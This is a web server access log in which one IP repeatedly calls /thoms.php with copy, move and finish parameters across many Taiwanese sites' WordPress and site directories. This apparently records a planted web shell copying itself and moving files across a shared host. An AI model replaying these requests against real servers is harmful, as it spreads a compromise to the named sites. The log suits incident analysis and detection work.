45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12341 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=big-wife.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17933 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11412 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22217 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bestjudy.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bioway88.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=cgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=betcity.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bfl.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bft.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=upgrade HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wp-content HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=ba-guo.com.tw HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wp-content-20260912023544 HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bodbooks.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bossini.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11383 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11319 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22201 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22189 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
